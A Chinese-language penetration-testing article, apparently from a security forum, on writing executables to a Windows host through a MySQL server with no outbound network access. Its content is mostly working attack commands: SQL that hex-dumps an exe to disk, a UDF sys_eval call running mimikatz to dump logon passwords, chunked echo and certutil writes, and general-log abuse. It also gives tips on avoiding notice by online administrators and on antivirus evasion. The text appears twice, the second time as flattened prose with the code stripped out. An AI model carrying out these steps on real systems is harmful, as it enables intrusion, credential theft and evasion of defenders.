关于站库分离数据库不出网落地Exe方式探究-Mysql
字数 1439 2025-08-29 08:31:35

MySQL数据库不出网环境下落地Exe文件的方法探究

前言

在站库分离且数据库不出网、没有Webshell的情况下,如果需要对内网进行横向渗透,只能通过数据库来落地工具。本文详细探究了在MySQL数据库环境下多种落地可执行文件(Exe)的方法。

环境准备

  • 操作系统:Windows
  • MySQL版本:5.7.26
  • 模拟环境:对web目录没有写入权限,但对lib/plugin有写入权限,可以使用UDF执行命令

方法一:使用dumpfile导出exe

1.1.1 导出exe文件

将exe文件转换为16进制,然后执行以下SQL语句:

select unhex("exe文件的16进制") into dumpfile "\\\\路径\\\\文件名.exe"

特点

  • 导出的文件可以正常执行
  • 导出的路径必须使用双反斜杠"\\"以避免转义
  • 目标文件不能已存在,否则会报错

1.1.2 执行exe文件

示例:落地并执行mimikatz.exe

select sys_eval('C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\M.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\res1.txt"')

查看执行结果

  • 使用Windows命令:moretype
  • 使用MySQL函数:Load_file()

1.1.3 处理未退出的exe进程

如果exe程序没有自动终止(如mimikatz直接运行没有参数),可以通过以下方式关闭:

  1. 查找进程ID:
select sys_eval('tasklist /svc |findstr "进程名.exe"')
  1. 将结果进行16解码得到进程ID
  2. 终止进程

1.1.4 注意事项

  • 执行程序时会短暂弹出黑窗,目前没有完美解决方案
  • 执行前可使用query user查看管理员是否在线,避免被发现

方法二:使用outfile导出(不推荐)

select unhex("exe文件的16进制") into outfile "\\\\路径\\\\文件名.exe"

问题

  • outfile会转义换行符,导致exe无法正常执行
  • 导出的文件比原始文件大很多

方法三:使用echo分段导出

1.3.1 基本思路

  1. 使用echo将exe的16进制写入文件
  2. 使用certutil解码还原为exe
select sys_eval("echo exe_hex >> c:\\users\\admin\\desktop\aaa.txt && certutil -decodehex c:\\users\\admin\\desktop\aaa.txt c:\\users\\admin\\desktop\aaa.exe")

1.3.2 Windows命令行限制

  • Windows命令行最大长度为8191个字符
  • exe的16进制通常远超过此限制(示例中为113898字节)

1.3.3 分段追加写入解决方案

使用set /p实现不换行追加:

select sys_eval("set /p=\"第一部分16进制\" <nul >> c:\\aaa.txt")
select sys_eval("set /p=\"第二部分16进制\" <nul >> c:\\aaa.txt")
...
select sys_eval("certutil -decodehex c:\\aaa.txt c:\\aaa.exe")

问题

  • 执行后命令不会自动终止,需要手动回车结束
  • 实际操作中需要编写脚本分段处理

方法四:利用MySQL日志导出

1.4.1 通用日志配置

show variables like 'general_log';  -- 查看日志是否开启
set global general_log=on;  -- 开启日志功能
show variables like 'general_log_file';  -- 查看日志文件保存位置
set global general_log_file='log_path';  -- 设置日志文件保存位置

1.4.2 导出流程

  1. 设置日志路径并开启日志
  2. 执行select "exe-hex"
  3. 关闭日志记录
  4. 从日志中提取exe-hex并解码

1.4.3 提取exe-hex的方法

使用PowerShell

powershell -c "&{$b=[System.IO.File]::ReadAllBytes('日志文件');set-content -value $b[开始位置..结束位置] -encoding byte -path '保存路径';}"

使用Python

python -c "import re;import binascii;z=re.findall('(4D5A.*?6500)\"',open('log.log').read());text=open('res1.exe','ab');text.write(binascii.a2b_hex(z[0]))"

1.4.4 注意事项

  • 尽量先设置日志路径再开启日志,减少干扰内容
  • 执行完select后立即关闭日志记录,否则可能无法读取
  • PowerShell导出时会覆盖源文件

其他解码方式探究

除了certutil,还可以使用其他语言进行hex解码:

Python解码

python -c "import binascii;text=open('res.exe','ab');text.write(binascii.a2b_hex(open('exe-hex.txt').read()))"

类似思路可应用于其他支持命令行执行的语言(PHP、Perl等)。

方法对比总结

导出方式 优点 缺点 推荐优先级
dumpfile 直接导出可执行exe 需要做好免杀 1
outfile - 会转义换行符,exe无法执行 不推荐
echo 适用于不出网无写入权限环境 操作繁琐,需分段处理 3
日志 隐蔽性较好 需要过滤提取hex 2

参考链接

  1. Mysql日志介绍-通用日志
  2. Mysql 通用日志Getshell
  3. Windows命令行长度限制
MySQL数据库不出网环境下落地Exe文件的方法探究 前言 在站库分离且数据库不出网、没有Webshell的情况下,如果需要对内网进行横向渗透,只能通过数据库来落地工具。本文详细探究了在MySQL数据库环境下多种落地可执行文件(Exe)的方法。 环境准备 操作系统:Windows MySQL版本:5.7.26 模拟环境:对web目录没有写入权限,但对lib/plugin有写入权限,可以使用UDF执行命令 方法一:使用dumpfile导出exe 1.1.1 导出exe文件 将exe文件转换为16进制,然后执行以下SQL语句: 特点 : 导出的文件可以正常执行 导出的路径必须使用双反斜杠"\\\\"以避免转义 目标文件不能已存在,否则会报错 1.1.2 执行exe文件 示例:落地并执行mimikatz.exe 查看执行结果 : 使用Windows命令: more 或 type 使用MySQL函数: Load_file() 1.1.3 处理未退出的exe进程 如果exe程序没有自动终止(如mimikatz直接运行没有参数),可以通过以下方式关闭: 查找进程ID: 将结果进行16解码得到进程ID 终止进程 1.1.4 注意事项 执行程序时会短暂弹出黑窗,目前没有完美解决方案 执行前可使用 query user 查看管理员是否在线,避免被发现 方法二:使用outfile导出(不推荐) 问题 : outfile会转义换行符,导致exe无法正常执行 导出的文件比原始文件大很多 方法三:使用echo分段导出 1.3.1 基本思路 使用echo将exe的16进制写入文件 使用certutil解码还原为exe 1.3.2 Windows命令行限制 Windows命令行最大长度为8191个字符 exe的16进制通常远超过此限制(示例中为113898字节) 1.3.3 分段追加写入解决方案 使用 set /p 实现不换行追加: 问题 : 执行后命令不会自动终止,需要手动回车结束 实际操作中需要编写脚本分段处理 方法四:利用MySQL日志导出 1.4.1 通用日志配置 1.4.2 导出流程 设置日志路径并开启日志 执行 select "exe-hex" 关闭日志记录 从日志中提取exe-hex并解码 1.4.3 提取exe-hex的方法 使用PowerShell : 使用Python : 1.4.4 注意事项 尽量先设置日志路径再开启日志,减少干扰内容 执行完select后立即关闭日志记录,否则可能无法读取 PowerShell导出时会覆盖源文件 其他解码方式探究 除了certutil,还可以使用其他语言进行hex解码: Python解码 : 类似思路可应用于其他支持命令行执行的语言(PHP、Perl等)。 方法对比总结 | 导出方式 | 优点 | 缺点 | 推荐优先级 | |---------|------|------|-----------| | dumpfile | 直接导出可执行exe | 需要做好免杀 | 1 | | outfile | - | 会转义换行符,exe无法执行 | 不推荐 | | echo | 适用于不出网无写入权限环境 | 操作繁琐,需分段处理 | 3 | | 日志 | 隐蔽性较好 | 需要过滤提取hex | 2 | 参考链接 Mysql日志介绍-通用日志 Mysql 通用日志Getshell Windows命令行长度限制